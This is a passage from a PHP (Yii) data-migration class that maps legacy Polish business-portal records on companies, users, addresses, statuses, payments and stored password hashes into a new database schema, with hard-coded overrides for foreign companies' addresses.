            18 => 'IS',
            19 => 'JP',
            20 => 'KZ',
            21 => 'KR',
            22 => 'LT',
            23 => 'LV',
            24 => 'MK',
            25 => 'MD',
            26 => 'NL',
            27 => 'DE',
            28 => 'NO',
            29 => 'AM',
            30 => 'PL',
            31 => 'PT', 
            32 => 'RU',
            33 => 'RO',
            34 => 'RS',
            35 => 'SK',
            36 => 'SI',
            37 => 'SE',
            38 => 'TR',
            39 => 'UA',
            40 => 'HU',
            41 => 'IT',
            42 => 'BY',
            47 => 'IE',
            48 => 'LU',
            49 => 'MT',
            53 => 'MN',
            54 => 'UZ',
            55 => 'MX',
            56 => 'IL',
            57 => 'IN',
            58 => 'BE',
            59 => 'ZA'
        ];
        
        $this->EUCountries = [
            'AT' => 'AT',
            'BE' => 'BE',
            'BG' => 'BG',
            'HR' => 'HR',
            'CY' => 'CY',
            'CZ' => 'CZ',
            'DK' => 'DK',
            'EE' => 'EE',
            'FI' => 'FI',
            'FR' => 'FR',
            'GR' => 'GR',
            'ES' => 'ES',
            'NL' => 'NL',
            'IE' => 'IE',
            'LT' => 'LT',
            'LU' => 'LU',
            'LV' => 'LV',
            'MT' => 'MT',
            'DE' => 'DE',
            'PL' => 'PL',
            'PT' => 'PT',
            'RO' => 'RO',
            'SK' => 'SK',
            'SI' => 'SI',
            'SE' => 'SE',
            'HU' => 'HU',
            'UK' => 'UK',
            'IT' => 'IT'
        ];
        
        //@todo przed importem uzupełnić
        $this->bussinessSectorsMap = [
            84 => [2], //reklama, marketing,
            
            1 => [1, 3, 11, 23], //wydawnictwa, szkolenia, elektryka, inne
            3 => [1, 3, 10, 23], //wydawnictwa, szkolenia, tworzywa, inne
            4 => [1, 3, 7, 23], //wydawnictwa, szkolenia, narzędziownia, inne
            5 => [1, 3, 8, 23], //wydawnictwa, szkolenia, alarmy, inne
            6 => [1, 3, 4, 6, 23], //szkolenia, biura rachunkowe, oprogramowanie, wydawnictwa, inne
            8 => [1, 3, 5, 23], //wydawnictwa, szkolenia, metale, inne
            10 => [1, 3, 9, 23], //wydawnictwa, szkolenia, styropian, inne
            11 => [1, 3, 4, 6, 23], //wydawnictwa, szkolenia, biura rachunkowe, oprogramowanie, inne
            13 => [1, 3, 14], //wydawnictwa, szkolenia, chłodnictwo klimatyzacja wentylacja ogrzewanie
            14 => [1, 3, 14], //wydawnictwa, szkolenia, chłodnictwo klimatyzacja wentylacja ogrzewanie
            15 => [1, 3, 14], //wydawnictwa, szkolenia, chłodnictwo klimatyzacja wentylacja ogrzewanie
            16 => [1, 3, 15], //wydawnictwa, szkolenia, opakowania
            17 => [1, 3, 13], //wydawnictwa, szkolenia, nieruchomości
            24 => [1, 3, 12], //wydawnictwa, szkolenia, budownictwo
            35 => [1, 3, 16], //wydawnictwa, szkolenia, ogrzewanie
            36 => [19], //blachy
            40 => [1, 3, 12], //wydawnictwa, szkolenia, budownictwo
            41 => [1, 3, 17], //wydawnictwa, szkolenia
            43 => [1, 3, 18, 23], //wydawnictwa, szkolenia, branża sakralna, inne
            53 => [1, 3, 22], //wydawnictwa, szkolenia, stolarstwo
            70 => [1, 3, 20], //wydawnictwa, szkolenia, odpylanie
            71 => [1, 3, 21], //wydawnictwa, szkolenia, branża spożywcza
        ];
        
        $this->awardsTypesMap = [
            0 => CompanyAwardType::REFERENCES,
            1 => CompanyAwardType::REFERENCES,
            2 => CompanyAwardType::AWARD,
            3 => CompanyAwardType::CERTIFICATE
        ]; 
        
        $this->downloadsCategoriesMap = [
            0 => CompanyDownloadCategory::FILES,
            1 => CompanyDownloadCategory::CAD_LIBRARIES,
            2 => CompanyDownloadCategory::CD_CATALOGS,
            3 => CompanyDownloadCategory::FILES,
            4 => CompanyDownloadCategory::GUIDES,
            5 => CompanyDownloadCategory::SOFTWARE
        ]; 
        
        $this->booksTypeMap = [
            1 => BookType::MAGAZINE,
            2 => BookType::BOOK,
            3 => BookType::GUIDE
        ];

        //@todo przetestować czy zapytanie działa ok - m.in. czy klucze tej tabeli, to integer czy string
        $this->vcallcenterOperators = Users::find()->select(['id_user', 'forename', 'surname', 'login', 'description'])->where(['profile' => [UserProfile::ADMIN, UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR, UserProfile::WEB_DEVELOPER]])->indexBy('id_user')->asArray()->all();
        
//        $this->vcallcenterOperatorsMap = [
//            5 => 10,
//            16 => 11,
//            88 => 12,
//            93 => 13,
//            94 => 14,
//            95 => 15,
//            96 => 16,
//            97 => 17,
//            98 => 18,
//            99 => 19,
//            100 => 20,
//            101 => 21,
//            102 => 22,
//            103 => 23,
//            104 => 24,
//            105 => 25,
//            106 => 26,
//            107 => 27,
//            108 => 28,
//            109 => 29,
//            110 => 30,
//            112 => 31,
//            113 => 32,
//            114 => 33,
//            116 => 34,
//            117 => 35,
//            118 => 36,
//            119 => 37,
//            120 => 38,
//            121 => 39,
//            122 => 40,
//            123 => 41,
//            124 => 42,
//            125 => 43,
//            126 => 44,
//            127 => 45,
//            128 => 46,
//            129 => 47,
//            130 => 48,
//            131 => 49,
//            132 => 50,
//            133 => 51,
//            134 => 52,
//            135 => 53,
//            136 => 54,
//            137 => 55,
//            138 => 56,
//            140 => 57,
//            141 => 58,
//            142 => 59,
//            143 => 60,
//            144 => 61,
//            145 => 62,
//            146 => 63,
//            147 => 64,
//            148 => 65,
//            149 => 66,
//            150 => 67,
//            151 => 68,
//            152 => 69,
//            153 => 70,
//            154 => 71,
//            155 => 72,
//            156 => 73,
//            157 => 74,
//            158 => 75,
//            159 => 76,
//            160 => 77,
//            161 => 78,
//            162 => 79,
//            163 => 80,
//            164 => 81,
//            165 => 82,
//            166 => 83,
//            167 => 84,
//            168 => 85,
//            169 => 86,
//            170 => 87,
//            171 => 88,
//            172 => 89,
//            173 => 90,
//            174 => 91,
//            175 => 92,
//            176 => 93,
//            177 => 94,
//            178 => 95,
//            179 => 96,
//            180 => 97,
//            181 => 98,
//            182 => 99,
//            183 => 100,
//            184 => 101,
//            185 => 102,
//            186 => 103
//        ];
        
        //@todo uzupełnić tą tablicę, gdy dowiem się od Łukasza co oznaczają poszczególne statusy w vcallcenter_firmy - stan na 22.09.2019
        $this->companiesUsageStatusesMap = [
            0 => CompanyUsageStatus::UNUSED,
            1 => CompanyUsageStatus::USED,
            2 => CompanyUsageStatus::CLOSED,
            3 => CompanyUsageStatus::WAITING_ROOM, 
            5 => CompanyUsageStatus::CLOSED, //@todo dlaczego mamy dwa statusy oznaczające "Zamknięta" ?
            6 => CompanyUsageStatus::FOR_ACCEPTANCE,
            9 => CompanyUsageStatus::FOR_REMOVE,
            98 => CompanyUsageStatus::DUPLICATED,
            99 => CompanyUsageStatus::NO_DOMAIN
        ];
        
        $this->trainingsCategoriesMap = [
            2 => 1, //zawodowe
            3 => 2, //interpersonalne
            4 => 1, //zawodowe (otwarte),
            6 => 3, //szkolenia na uprawnienia
            7 => 4 //szkolenia specjalistyczne
        ];
        
        $this->paymentsTypesMap = [
            0 => CompanyOrderPaymentType::TRANSFER,
            1 => CompanyOrderPaymentType::TRANSFER,
            2 => CompanyOrderPaymentType::WITHOUT_PAYMENT,
            3 => CompanyOrderPaymentType::BARTER,
            4 => CompanyOrderPaymentType::COMPENSATION,
        ];
        
        $this->invoicesTypesMap = [
            'pl' => InvoiceType::NATIONAL,
            'eu' => InvoiceType::EUROPEAN,
            'noeu' => InvoiceType::NON_EU
        ];
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT users_duplicated.* FROM users_duplicated')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->duplicatedUsers[intval($row['id_user'])] = intval($row['id_user_base']);
            }
        }
        unset($rows);
        
        //@todo sprawdzić aktualność przed importem - stan obecny: 29-04-2019
        //UWAGA !!! firmy o ID 160514 oraz 160513, a także: 170354 oraz 170355, to w praktyce te same firmy (zgadza się nazwa, adres itd.) 
        //one powinny być uwzględnione w tabeli users_duplicated
        $this->foreignCompanies = [
            160015 => [['name' => 'Surplex GmbH', 'id_country' => 'DE', 'id_region' => 20235, 'region' => 'North Rhine-Westphalia',  'locality' => 'Dusseldorf', 'postcode' => '40472', 'street' => 'Wahlerstraße', 'building_number' => '4', 'apartment_number' => '']],
            168158 => [['name' => 'Global 3D Print', 'id_country' => 'CZ', 'id_region' => 21498, 'region' => 'Moravian-Silesian Region', 'locality' => 'Český Těšín', 'postcode' => '73701', 'street' => 'Ostravská', 'building_number' => '555', 'apartment_number' => '24']],
            101016 => [['name' => 'Xiamen Four-Faith Communication Technology Co., Ltd', 'id_country' => 'CN', 'id_region' => 9070368, 'region' => 'Fujian', 'locality' => 'Xiamen', 'postcode' => '361021', 'street' => 'Guanri Road', 'building_number' => '44', 'apartment_number' => '']],
            169132 => [['name' => 'Dimay Europe S.L.', 'id_country' => 'ES', 'id_region' => 20269, 'region' => 'Andalusia', 'locality' => 'Alhaurin el Grande', 'postcode' => '29120', 'street' => 'Calle Rio Guadalmedina', 'building_number' => '13', 'apartment_number' => '']],
            170318 => [['name' => 'UAB Energy Advice', 'id_country' => 'LT', 'id_region' => 9070400, 'region' => 'Alytus County', 'locality' => 'Kaunas', 'postcode' => '51423', 'street' => 'K. Baršausko', 'building_number' => 'g.59', 'apartment_number' => '']],
            158532 => [['name' => 'Mold-Masters Europa GmbH', 'id_country' => 'DE', 'id_region' => 20228, 'region' => 'Baden-Wurttemberg', 'locality' => 'Baden-Baden', 'postcode' => '76532', 'street' => 'Neumattring', 'building_number' => '1', 'apartment_number' => '']],
            160514 => [['name' => 'TSH-TARCZYNSKI Ewa Tarczynski', 'id_country' => 'DE', 'id_region' => 20235, 'region' => 'North Rhine-Westphalia', 'locality' => 'Lüdenscheid', 'postcode' => '58511', 'street' => 'An der Mehr', 'building_number' => '24', 'apartment_number' => '']],
            61772 => [['name' => 'Fusion Automation Inc', 'id_country' => 'GB-ENG', 'id_region' => 9070425, 'region' => 'Essex', 'locality' => 'Harlow', 'postcode' => 'CM19 5FD', 'street' => 'Barrows Road', 'building_number' => '1', 'apartment_number' => '']],
            167339 => [['name' => 'Eichler Company a.s.', 'id_country' => 'CZ', 'id_region' => 21504, 'region' => 'Vysocina Region', 'locality' => 'Žďár nad Sázavou', 'postcode' => '59102', 'street' => 'Nova', 'building_number' => '486', 'apartment_number' => '32']],
            168943 => [['name' => 'Bru y Rubio S.L.', 'id_country' => 'ES', 'id_region' => 21388, 'region' => 'Valencian Community', 'locality' => 'Ibi', 'postcode' => '03440', 'street' => 'Calle Huelva', 'building_number' => '19', 'apartment_number' => '']],
            57297 => [['name' => 'Steel Eagle Commerce Ltd.', 'id_country' => 'MT', 'id_region' => 9070458, 'region' => 'Central Region', 'locality' => 'Gzira', 'postcode' => 'GZR 1364', 'street' => 'Rue d\'Argens', 'building_number' => '283', 'apartment_number' => '1']],
            61024 => [['name' => 'Makler für Metall- und Stahltechnik', 'id_country' => 'DE', 'id_region' => 20234, 'region' => 'Lower Saxony', 'locality' => 'Garbsen', 'postcode' => '30823', 'street' => 'Fritz-Grimpe-Str.', 'building_number' => '27', 'apartment_number' => '']],
            98525 => [['name' => 'ASMIC BALTIC', 'id_country' => 'LT', 'id_region' => 9070400, 'region' => 'Alytus County', 'locality' => 'Šiauliai', 'postcode' => '76290', 'street' => 'Daukanto', 'building_number' => '4', 'apartment_number' => '']],
            101380 => [
                ['name' => 'Gatti Precorvi S.r.l', 'id_country' => 'IT', 'id_region' => 9053433, 'region' => 'Lombardy', 'locality' => 'Medolago', 'postcode' => '24030', 'street' => 'via Lombardia', 'building_number' => '1', 'apartment_number' => ''],
                ['name' => 'Gatti Precorvi S.r.l', 'id_country' => 'PL', 'id_region' => 1, 'region' => 'dolnośląskie', 'locality' => 'Dobrzykowice', 'postcode' => '55-002', 'street' => 'Leśna', 'building_number' => '4', 'apartment_number' => ''],
                ['name' => 'Gatti Precorvi S.r.l', 'id_country' => 'PL', 'id_region' => 1, 'region' => 'dolnośląskie', 'locality' => 'Dobrzykowice', 'postcode' => '55-002', 'street' => 'Leśna', 'building_number' => '4', 'apartment_number' => '']
            ],
            161877 => [['name' => 'TENADO GmbH', 'id_country' => 'DE', 'id_region' => 20227, 'region' => 'Brandenburg', 'locality' => 'Bochum', 'postcode' => '44807', 'street' => 'Vierhausstrasse', 'building_number' => '112', 'apartment_number' => '']],
            170354 => [['name' => 'PEA Machinery International Limited', 'id_country' => 'GB-ENG', 'id_region' => 9070452, 'region' => 'Warwickshire', 'locality' => 'Rugby', 'postcode' => 'CV22 7DG', 'street' => 'Somers Road', 'building_number' => '17', 'apartment_number' => '']],
            160513 => [['name' => 'TSH-TARCZYNSKI Ewa Tarczynski', 'id_country' => 'DE', 'id_region' => 20235, 'region' => 'North Rhine-Westphalia', 'locality' => 'Lüdenscheid', 'postcode' => '58511', 'street' => 'An der Mehr', 'building_number' => '24', 'apartment_number' => '']],
            160583 => [['name' => 'Kharkov Himprom LTD', 'id_country' => 'UA', 'id_region' => 21125, 'region' => 'Kharkiv Oblast', 'locality' => 'Kharkov', 'postcode' => '62495', 'street' => 'Promyslova', 'building_number' => '22', 'apartment_number' => '']],
            163089 => [['name' => 'Eurosirius', 'id_country' => 'SK', 'id_region' => 9062586, 'region' => 'Bratislava Region', 'locality' => 'Bratislava', 'postcode' => '84107', 'street' => 'Liščie Nivy', 'building_number' => '23', 'apartment_number' => '']],
            168677 => [['name' => 'Benert & Zoncu Beschaffungsagentur KLG', 'id_country' => 'CH', 'id_region' => 9070481, 'region' => 'Aargau', 'locality' => 'Neuenhof', 'postcode' => '5432', 'street' => 'Webermühle', 'building_number' => '22', 'apartment_number' => '']],
            167561 => [['name' => 'MFL Group s.r.o.', 'id_country' => 'CZ', 'id_region' => 21498, 'region' => 'Moravian-Silesian Region', 'locality' => 'Český Těšín', 'postcode' => '73701', 'street' => 'Lípová', 'building_number' => '1128', 'apartment_number' => '']],
            159614 => [
                ['name' => 'STABAU Polska', 'id_country' => 'DE', 'id_region' => 20227, 'region' => 'Brandenburg', 'locality' => 'Roderland OT Haida', 'postcode' => '4932', 'street' => 'Am Waldbad', 'building_number' => '1', 'apartment_number' => ''],
                ['name' => 'STABAU Polska', 'id_country' => 'DE', 'id_region' => 20227, 'region' => 'Brandenburg', 'locality' => 'Roderland OT Haida', 'postcode' => '4932', 'street' => 'Am Waldbad', 'building_number' => '1', 'apartment_number' => ''],
                ['name' => 'STABAU Polska', 'id_country' => 'PL', 'id_region' => 2, 'region' => 'kujawsko-pomorskie', 'locality' => 'Toruń', 'postcode' => '87-100', 'street' => 'Antczaka', 'building_number' => '19C', 'apartment_number' => '40']
            ],
            59583 => [['name' => 'Trading Power Company', 'id_country' => 'CZ', 'id_region' => 21502, 'region' => 'Prague', 'locality' => 'Praha', 'postcode' => '12800', 'street' => 'Slavojova', 'building_number' => '108', 'apartment_number' => '8']],
            164740 => [['name' => 'Destampes Emballages SA', 'id_country' => 'FR', 'id_region' => 20313, 'region' => 'Nouvelle-Aquitaine', 'locality' => 'Étagnac', 'postcode' => '16150', 'street' => 'Route d’Angoulême', 'building_number' => '1', 'apartment_number' => '']],
            127045 => [['name' => 'Vesselino Ltd.', 'id_country' => 'BG', 'id_region' => 9040123, 'region' => 'Stara Zagora', 'locality' => 'Kazanlak', 'postcode' => '6100', 'street' => 'Starazagorska', 'building_number' => '1', 'apartment_number' => '23-24']],
            160142 => [['name' => 'Contec GmbH Industrieausrüstungen', 'id_country' => 'DE', 'id_region' => 20235, 'region' => 'North Rhine-Westphalia', 'locality' => 'Bad Honnef', 'postcode' => '53604', 'street' => 'Heideweg', 'building_number' => '24', 'apartment_number' => '']],
            167067 => [['name' => 'Devi Export', 'id_country' => 'IN', 'id_region' => 9070495, 'region' => 'Gujarat', 'locality' => 'Rajkot', 'postcode' => '360002', 'street' => 'Nehrunagar 80 feet', 'building_number' => '012', 'apartment_number' => '22']],
            167844 => [['name' => 'Brotep Eco S.A.', 'id_country' => 'UA', 'id_region' => 21580, 'region' => 'Kyivs\'ka oblast', 'locality' => 'Brovary', 'postcode' => '07400', 'street' => 'Yaroslava Mudroho St', 'building_number' => '88', 'apartment_number' => '']],
            56599 => [['name' => 'Acmelight Ltd', 'id_country' => 'UA', 'id_region' => 21109, 'region' => 'Vinnyts\'ka oblast', 'locality' => 'Krivoy Rog', 'postcode' => '50000', 'street' => 'Geroiv ATO St', 'building_number' => '30B', 'apartment_number' => '']],
            100644 => [['name' => 'VIETNAM PACKAGING PRODUCTION AND IMPORT EXPORT JSC', 'id_country' => 'VN', 'id_region' => 9070533, 'region' => 'Hà Nội', 'locality' => 'Long Biên', 'postcode' => '100000', 'street' => 'Chu Huy Mân - Sunrise Building', 'building_number' => '206', 'apartment_number' => '']],
            102122 => [['name' => 'Desiccant Technologies Group', 'id_country' => 'LT', 'id_region' => 9070400, 'region' => 'Alytus County', 'locality' => 'Vilnius', 'postcode' => '08218', 'street' => 'Verkių', 'building_number' => 'g. 5', 'apartment_number' => '']],
            127764 => [['name' => 'Liophito Mattheou', 'id_country' => 'GR', 'id_region' => 9070591, 'region' => 'Crete', 'locality' => 'Kolymvari', 'postcode' => '73006', 'street' => 'Ζυμβραγού', 'building_number' => '1', 'apartment_number' => '']],
            127719 => [['name' => 'Macri Italia srl', 'id_country' => 'IT', 'id_region' => 9053433, 'region' => 'Lombardy', 'locality' => 'Nave', 'postcode' => '25075', 'street' => 'Via Maddalena', 'building_number' => '62', 'apartment_number' => '']],
            160299 => [['name' => 'PT. DIGITAL MEDIA PRINTER', 'id_country' => 'ID', 'id_region' => 9070613, 'region' => 'Jakarta Special Capital Region', 'locality' => 'Jakarta', 'postcode' => '11470', 'street' => 'Letjen S. Parman Street', 'building_number' => 'No.28', 'apartment_number' => '']],
            160857 => [['name' => 'Tvareci stroje s.r.o.', 'id_country' => 'CZ', 'id_region' => 21502, 'region' => 'Prague', 'locality' => 'Praha', 'postcode' => '14300', 'street' => 'Dankova', 'building_number' => '3336', 'apartment_number' => '2']],
            161180 => [['name' => 'Höpken und Partner mbB', 'id_country' => 'DE', 'id_region' => 20227, 'region' => 'Brandenburg', 'locality' => 'Berlin', 'postcode' => '10117', 'street' => 'Friedrichstraße', 'building_number' => '95', 'apartment_number' => '']],
            164126 => [['name' => 'Virs', 'id_country' => 'UA', 'id_region' => 21109, 'region' => 'Vinnyts\'ka oblast', 'locality' => 'Kiev', 'postcode' => '03680', 'street' => 'bul. Lepse', 'building_number' => '16', 'apartment_number' => '']],
            170355 => [['name' => 'PEA Machinery International Limited', 'id_country' => 'GB-ENG', 'id_region' => 9070452, 'region' => 'Warwickshire', 'locality' => 'Rugby', 'postcode' => 'CV22 7DG', 'street' => 'Somers Road', 'building_number' => '17', 'apartment_number' => '']],
            162957 => [['name' => 'AW INTEGRO - SYSTEM S.R.O.', 'id_country' => 'CZ', 'id_region' => 21498, 'region' => 'Moravian-Silesian Region', 'locality' => 'Ostrava', 'postcode' => '70900', 'street' => 'V Zátiší 810', 'building_number' => '1', 'apartment_number' => '']],
            100330 => [['name' => 'McLaren Marketing (Yorkshire) Limited FLIR', 'id_country' => 'GB-ENG', 'id_region' => 9070447, 'region' => 'South Yorkshire', 'locality' => 'Sheffield', 'postcode' => 'S7 2LT', 'street' => 'Dobcroft Road', 'building_number' => '161', 'apartment_number' => '']],
            102746 => [['name' => 'Jacek Boron', 'id_country' => 'DE', 'id_region' => 20235, 'region' => 'North Rhine-Westphalia', 'locality' => 'Oelde', 'postcode' => '59302', 'street' => 'Buchenweg', 'building_number' => '18A', 'apartment_number' => '']],
            59112 => [['name' => 'TB SECURITY CO., LIMITED', 'id_country' => 'CN', 'id_region' => 9070370, 'region' => 'Guangdong', 'locality' => 'Shenzhen', 'postcode' => '518000', 'street' => 'Futian - Bonded Zone - Yingdali Digital Building', 'building_number' => '5F', 'apartment_number' => '']],
            98317 => [['name' => 'Power Steel Co., Ltd.', 'id_country' => 'CN', 'id_region' => 9070635, 'region' => 'Taiwan', 'locality' => 'Kaohsiung', 'postcode' => '81261', 'street' => 'Daye South Road', 'building_number' => 'No. 54', 'apartment_number' => '']],
            171679 => [['name' => 'CDRmarket', 'id_country' => 'CZ', 'id_region' => 21501, 'region' => 'Plzen Region', 'locality' => 'Plzeň', 'postcode' => '32600', 'street' => 'Papírnická', 'building_number' => '4', 'apartment_number' => '']],
            171786 => [['name' => 'SODINOVE', 'id_country' => 'FR', 'id_region' => 20322, 'region' => 'Pays de la Loire', 'locality' => 'Montaigu', 'postcode' => '85600', 'street' => 'Rue Amiral Duchaffault', 'building_number' => '23', 'apartment_number' => '34']],
            172011 => [['name' => 'EcoHub EXIM', 'id_country' => 'IN', 'id_region' => 9070518, 'region' => 'Andaman and Nicobar Islands', 'locality' => 'Mumbai', 'postcode' => '400103', 'street' => 'Holy Cross Road', 'building_number' => 'C-015', 'apartment_number' => '']],
            57084 => [
                ['name' => 'MS Ultraschall Technologie GmbH', 'id_country' => 'DE', 'id_region' => 20228, 'region' => 'Baden-Wurttemberg', 'locality' => 'Spaichingen', 'postcode' => 'D-78549', 'street' => 'Karlstrasse', 'building_number' => '8-20', 'apartment_number' => ''],
                ['name' => 'Technic Solution Roman Cichoń', 'id_country' => 'PL', 'id_region' => 7, 'region' => 'mazowieckie', 'locality' => 'Zgorzała', 'postcode' => '05-500', 'street' => 'Puszczyka', 'building_number' => '2', 'apartment_number' => '1'],
                ['name' => 'Technic Solution Roman Cichoń', 'id_country' => 'PL', 'id_region' => 7, 'region' => 'mazowieckie', 'locality' => 'Zgorzała', 'postcode' => '05-500', 'street' => 'Puszczyka', 'building_number' => '2', 'apartment_number' => '1'],
            ],
//            000 => [['name' => '', 'id_country' => '', 'id_region' => 0, 'region' => '', 'locality' => '', 'postcode' => '', 'street' => '', ''building_number' => '', 'apartment_number' => '']]
        ];
        
        $this->usersPasswords = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('vortale_users_passwords')->select(['id_user', 'crypted_password', 'auth_key'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->usersPasswords[(int)$document['id_user']] = [(string)$document['crypted_password'], (string)$document['auth_key']];
            }
            unset($documents);
        } 
        
        parent::init();
    }
    
    private function getIdBaseForUser($oldIdUser)
    {
//        return $oldIdUser;
        return isset($this->duplicatedUsers[(int)$oldIdUser]) ? $this->duplicatedUsers[(int)$oldIdUser] : $oldIdUser;
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_companies';
    }
    
    private function createModelCompanies($company, $idUser)
    {
        $company['adres'] = trim($company['adres']);
        $company['nr_budynku'] = trim($company['nr_budynku']);
        $company['nr_lokalu'] = trim($company['nr_lokalu']);
        $company['krs'] = trim($company['krs']);
        $company['regon'] = trim($company['regon']);
        
        if(!empty($company['nazwa_skrocona']) && strlen($company['nazwa_skrocona']) > 120) {
            $company['nazwa_skrocona'] = substr($company['nazwa_skrocona'], 0, 120); //@todo ustalić, czy robimy to z automatu, czy oczekujemy na zgłoszenie błędu i poprawiamy ręcznie
        }
        
        $modelCompany = new Companies(['scenario' => 'create']);
        $modelCompany->id_user = $idUser;
        $modelCompany->name = $company['nazwa'];
        $modelCompany->short_name = (!empty($company['nazwa_skrocona'])) ? $company['nazwa_skrocona'] : null;
        $modelCompany->address_cont = null;        
        
        if(empty($this->foreignCompanies[intval($company['id_user'])][0])) {
        
            if(empty($company['adres'])) {            
                //czasem, zwłaszcza przy import_firm2 zdarza się sytuacja, gdzie firma nic nie ma w polu ulica itd. - jest zbita miejscowość z numerem domu/lokalu
                if(!empty($company['miejscowosc'])) { //prawdopodobnie w polu "miejscowosc" siedzi coś w stylu "Chlebowo 16", czyli miejscowość i nazwa ulicy w jednym oraz numer domu                
                    $matches = [];
                    preg_match('/([0-9])/', $company['miejscowosc'], $matches, PREG_OFFSET_CAPTURE);
                    if(isset($matches[1][1])) {
                        $company['adres'] = $company['miejscowosc'];
                        $company['miejscowosc'] = trim(mb_substr($company['miejscowosc'], 0, $matches[1][1]));
                    } 
                }
            }

            if(in_array(mb_strtolower(mb_substr($company['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
                $company['adres'] = trim(mb_substr($company['adres'], 3));
            }

            if(empty($company['adres'])) {    
                $company['adres'] = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
            }

    //        var_dump($company['adres']); exit;
            if(empty($company['nr_budynku'])) {
                $matches = [];
                if(preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $company['adres'], $matches, 0) === 1) {
                    $modelCompany->street = trim($matches[1]);
                    $modelCompany->building_number = trim($matches[2]);
                    $modelCompany->apartment_number = !empty($company['nr_lokalu']) ? $company['nr_lokalu'] : null;
                } else {
                    //@todo ustalić czy w ogóle takie coś odwalamy...
                    $modelCompany->street = trim($company['adres']);
                    $modelCompany->building_number = '000'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
                    $modelCompany->apartment_number = null;
                }
            } else {
                $modelCompany->street = $company['adres'];
                $modelCompany->building_number = $company['nr_budynku'];
                $modelCompany->apartment_number = !empty($company['nr_lokalu']) ? $company['nr_lokalu'] : null;
            }        

            if(mb_strlen($modelCompany->building_number) > 15) {
                $modelCompany->building_number = str_replace(" ", "", $modelCompany->building_number);
                if(mb_strlen($modelCompany->building_number) > 15) {
                    $modelCompany->building_number = mb_substr($modelCompany->building_number, 0, 15);
                    if(empty($modelCompany->apartment_number)) {
                        $modelCompany->apartment_number = mb_substr($modelCompany->building_number, 14, 10);
                    }
                    $modelCompany->address_cont = $company['adres'];
                }
            }

            if(!empty($company['kod_1']) && !empty($company['kod_2'])) {
                $modelCompany->postcode = $company['kod_1'].'-'.$company['kod_2'];
            } elseif(!empty($company['kod_panstwo'])) {
                $modelCompany->postcode = $company['kod_panstwo'];
            } else {
                $modelCompany->postcode = null;
            }

            if(empty($modelCompany->postcode)) {
                $modelCompany->postcode = '99-999'; //@todo proteza, po której będziemy te firmy wyszukiwać i ręcznie poprawiać
            }

            $modelCompany->locality = $company['miejscowosc'];
            $modelCompany->region = isset($this->regionsMap[intval($company['wojewodztwo'])]) ? $this->regionsMap[intval($company['wojewodztwo'])] : null;
            if(intval($company['wojewodztwo']) === 0 && (!empty($company['state']))) {
                $modelCompany->id_country = null; //@todo tutaj będzie trzeba zrobić jakąś protezę, która uwzględni te zagraniczne firmy...
            } else {
                $modelCompany->id_country = 'PL';
            }            
        
        } else {
            $foreignCompanyData = $this->foreignCompanies[intval($company['id_user'])][0];
            
            $modelCompany->name = $foreignCompanyData['name'];
            $modelCompany->id_country = $foreignCompanyData['id_country'];
            $modelCompany->region = $foreignCompanyData['region'];
            $modelCompany->locality = $foreignCompanyData['locality'];
            $modelCompany->postcode = $foreignCompanyData['postcode'];
            $modelCompany->street = $foreignCompanyData['street'];
            $modelCompany->building_number = $foreignCompanyData['building_number'];
            $modelCompany->apartment_number = !empty($foreignCompanyData['apartment_number']) ? $foreignCompanyData['apartment_number'] : null;
        }

        $modelCompany->business_registration_number = !empty($company['regon']) ? $company['regon'] : null;
        $modelCompany->national_court_register_number = !empty($company['krs']) ? $company['krs'] : null;
        $modelCompany->status = intval($company['status']) === 1 ? Status::ACTIVE : Status::INACTIVE; //@todo ustalić jak dokładnie mają wyglądać statusy        
        $modelCompany->usage_status = isset($company['usage_status']) ? $company['usage_status'] : CompanyUsageStatus::UNUSED;
        if(!empty($company['logo']) && file_exists(Yii::getAlias('@runtime').'/sources/companies/'.$company['logo']) && mb_substr($company['logo'], -1) !== '.') {
            $fileInfo = pathinfo(Yii::getAlias('@runtime').'/sources/companies/'.$company['logo']);            
            $modelCompany->logo_filename = Companies::createLogoFileName('logo', $fileInfo['extension']);            
        } else {
            $modelCompany->logo_filename = null;
        }        
        if(!empty($company['lat'])) {
            $modelCompany->lat = $company['lat'];
            $modelCompany->lng = $company['lng'];
        }
        
        $modelCompany->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForCompany']];
        $modelCompany->annotations = !empty($company['vcallcenter_kontakt']) ? $company['vcallcenter_kontakt'] : null;
 
        //@todo na czas importu wyłączyć behaviorsy modelu common\models\Companies
        $timeCreated_1 = strtotime($company['data_rejestracji']);
        $timeCreated_2 = strtotime($company['cd']);
        if((bool)$timeCreated_1) {
            $modelCompany->created_at = date('Y-m-d H:i:s', $timeCreated_1);
            $modelCompany->updated_at = date('Y-m-d H:i:s', $timeCreated_1);
        } elseif((bool)$timeCreated_2) { 
            $modelCompany->created_at = date('Y-m-d H:i:s', $timeCreated_2);
            $modelCompany->updated_at = date('Y-m-d H:i:s', $timeCreated_2);
        } else {
            $modelCompany->created_at = '1970-01-01 00:00:00';
            $modelCompany->updated_at = '1970-01-01 00:00:00';
        }
        
        return $modelCompany;
    }
    
    private function createModelUsers($company)
    {
        $modelUser = new Users(['scenario' => 'create']);
        $modelUser->login = $company['login'];
        $modelUser->password = $this->usersPasswords[(int)$company['id_user']][0];
        $modelUser->auth_key = $this->usersPasswords[(int)$company['id_user']][1];
//        $modelUser->password = Yii::$app->getSecurity()->generatePasswordHash($company['haslo']);        
        $modelUser->forename = (!empty($company['imie_user']) && (strlen($company['imie_user']) > 1)) ? $company['imie_user'] : 'BRAK'; 
        $modelUser->surname = (!empty($company['nazwisko_user']) && (strlen($company['nazwisko_user']) > 1)) ? $company['nazwisko_user'] : 'BRAK'; 
        $modelUser->avatar_filename = null;
        $modelUser->status = intval($company['status']) === 1 ? Status::ACTIVE : Status::INACTIVE;
//        $modelUser->generateAuthKey();
        $modelUser->profile = UserProfile::COMPANY;
        if(!empty($company['polecil'])) {
            if(mb_strlen($company['polecil']) <= 60) {
                $modelUser->referrer = $company['polecil'];
            } else {
